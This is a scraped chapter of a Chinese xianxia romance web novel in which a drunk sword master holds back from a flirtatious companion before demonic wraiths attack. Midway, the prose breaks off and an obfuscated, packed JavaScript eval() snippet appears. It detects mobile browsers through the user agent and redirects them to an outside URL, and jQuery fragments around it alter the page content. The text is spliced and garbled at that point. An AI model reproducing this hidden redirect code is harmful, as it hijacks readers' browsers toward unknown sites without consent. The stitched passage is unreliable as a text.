周定衡要做什么?
这个问题恐怕就连他自己都回答不了。
因为他已经醉了。喝醉的人说的话、做的事,通常都是不算数的。
周定衡都不知道是醉了,还以为是中了奇毒,唇角抿紧,企图压制着这奇怪的冲动。
喝酒的人手会抖,而发抖的手又怎么握得稳剑?所以他向来是滴酒不沾的。
此时醉意上头,眼中满是陌生而茫然,冲淡了眉眼间的疏离冷清。
残存着的理智告诉他,应该找一个僻静无人的地方躲起来,免得一时冲动牵扯到无辜之人。
可一低头,余光撞进一点红。
恍惚了一下,才反应过来那是谢鸣玉眼角的红痣。如同一尾锦鲤,尾巴轻轻甩动,平白掀起一阵涟漪。
周定衡望着眼尾那一点红痣,微微失神。
鱼儿游来游去,水波阵阵,不免心烦意乱。
他想要将其捉入掌中,让其乖乖安分些。
“……嗯”一声低喘。
指尖碰到的却不是鱼,而是细腻湿润的皮肤。
原是他用手遮住了谢鸣玉的眼帘。
浓密的眼睫轻轻扇动着,轻而浅地划过掌心。一股奇怪的感觉升起,忍不住绷紧了肩臂。
一团莫名的火烧起。
起初只是点点星火,转瞬间,星火燎原,不停地灼烧舔舐着,将理智融化。
周定衡的动作停顿。
理智告诉他,不能再继续了。
继续,要犯错。
周定衡呼吸声变得低沉凌乱,像是在压抑着什么。
谢鸣玉还没来得及去看,眼前就是一黑。覆盖在上面的手掌粗粝,像是砂纸一般,过分得有力。
他没慌,反倒是想笑。
哈,没想到周定衡看起来这么古板,玩得还挺花的。
喜欢蒙着眼睛么?这样确实更刺激一点。
谢鸣玉摆好了姿势,等待着接下来的动作。
听说这种人前装得冷清克制的人,释放本性的时候就越发粗野放肆。
哎。
在性压抑这块。
正道的人就是不懂堵不如疏的道理。
压抑得狠了,反弹起来就越是厉害。
不过有利也有弊,也正是崇尚清心寡欲一心向剑,才让剑修成为中州的特色小吃。
一想起周定衡的宽肩窄腰,谢鸣玉的心头就一团火热,恨不得现在就一尝剑尊的滋味。
可等了半天,也没等到下文。
不能急。
好菜都是放在最后才好吃。
脚尖从衣摆中伸出,装作不经意间蹭了蹭周定衡的大腿。
结实,生硬。
身上每一块肌肉都像是铁打得一样。
他在暗示搞快点。
周定衡却根本没领会到其中的深意,依旧在发怔。
谢鸣玉不耐烦了,一把抓住了他的手腕。
……好烫。
指尖上传来一股酥酥麻麻的感觉。
他忍住不适的战栗:“周定衡……”声音也在打颤,舌尖一卷,“你难受吗?我可以帮你。”
所以别在这里磨磨蹭蹭了。
早点睡完,早点了事。
快点让他试试深浅。
谢鸣玉的眼中没有一点杂念,全是对必吃榜排名第一的渴望。
须臾。
粗糙的指腹摩挲着眼角那一点红痣。
理智逐渐变得模糊,余下的,只有最原始的欲。
而周定衡心中的欲是什么?
他还保持着一线清醒,在孽海中沉沦、挣扎着。
这般情景之下,就算是圣人也忍不住走下神坛。
放纵的借口就在眼前。
可以推给这古怪的药,还可以说是蓄意勾引,不是他的错。
若是别人,早就顺水推舟。
可周定衡没有选择放纵,而是克制着,慢慢地收回了手。
他又怎么能因一时快活而冒犯别人?
谢鸣玉实在是忍不住了:“……你是不是不行?”舌尖一卷,发出鼻音,像是钩子一般,“嗯?”
周定衡听见理智崩塌的声音,喉结上下一滚:“我想……”
谢鸣玉目含骐骥,鼓励他将心中的欲述之于口,付之于行动。
想做什么?
想弄他。
想睡他?
还是又想弄又想睡?
周定衡终于忍耐不住心头最深的欲念,说出了最想要做的事情:“……我想看看你的脸。”
谢鸣玉的大脑一片空白:“……”
不是,就这。
你挣扎了半天,还以为要干一场大的,没想到只是想看看脸?
“你想看?”
只是看脸?
不想看看腿,看看腰什么的?
周定衡笃定地说:“我想看。”
天剑宗位于中州之巅雪山之上,最多的就是冷清的雪,像是能将一切都冻结。
为摈弃杂念一心向剑,条条清规戒律约束着,周定衡对自己的要求更是严苛,从未动过一丝欲念。
想要看面纱下的真容,对他来说,已经是前所未有的僭越了。
他对谢鸣玉感到好奇。
而萌生情愫,通常是从好奇开始的。
周定衡从未对一个人如此好奇。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691388|173366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
藏在面纱会是怎么样的一张脸。
是冷清,是艳丽,亦或是俏皮可人……
终于,他触碰到了面纱,只要轻轻一扯,就能得到令他魂牵梦萦的答案。
谢鸣玉忍不了了,骂了一句。
你不来?我来!
都到了这种氛围了,憋了半天、纠结了半天,结果只是想看脸,这也太纯情了,谁来了能忍得了?
魔尊也忍不了。
在这个时候,魔尊发力了。
一团黑雾在殿中炸开。
黑雾中身影在蠕动,一张张幽魂在其中乱窜,脸庞扭曲,发出了尖锐的哭嚎,钻入耳膜中,让人头疼欲裂。
在半空中盘旋一圈,直取周定衡的后心。
怨鬼锁魂。
周定衡中了神仙醉,一时不防,让怨鬼咬上了肩膀。他右手手指合拢,一道剑光从指尖迸射将怨鬼斩落。
怨鬼被剑光斩得七零八落,在地上扑腾着。
四周升起了缕缕黑烟,被怨鬼一口吞入,竟由整化零,化作十几只小怨鬼,在四周虎视眈眈。
周定衡拢起衣襟,肩膀上被怨鬼咬了一个深可见骨的齿印,上面还缠着污脏的魔气,不断侵蚀着他的灵力,发出滋滋声响。
无数怨鬼们仰天长啸,异口同声地说:“看来剑尊也不过如此!”
“看似风光霁月,实则也不过一小人耳。”
“饥不择食,连有家室的稚弱之流都不放过,啧啧……要是将这件事公之于众,你还有脸奉之为剑尊吗?”
周定衡本就心烦意乱,见怨鬼喋喋不休地说着,难以自控,眉间浮现了一股森然的杀意。
“聒噪。”
声落,声止。
无言的恐惧在殿中蔓延。
可怨鬼们连害怕都做不到,只能眼睁睁地看着,看着自己被一双无形的大手抹去一切的存在,直至消亡。
周定衡缓缓垂手。
他失控了。
他曾用一日时间学会用剑,却用了十年才会将剑藏于匣中,止住心中的锐气与杀意。
没想到十年过去,藏在心头的剑仍然这般锋利,足以伤人伤己。
是因为醉酒,还是突如其然的魔气,亦或是……谢鸣玉。
不甚明了,唯一可知晓的是酒已醒了大半。
就在这时,一道漏网之鱼调转方向,选择袭向了谢鸣玉。
谢鸣玉还半躺在美人榻上,眉眼半垂,神情恹恹的,对什么都提不起兴趣。
魔气快如闪电,刁钻的避过了剑光,瞬间就到了眼前。
也不知道他是不是吓傻了,竟然就这么直直地看着,连眼皮都没动一下。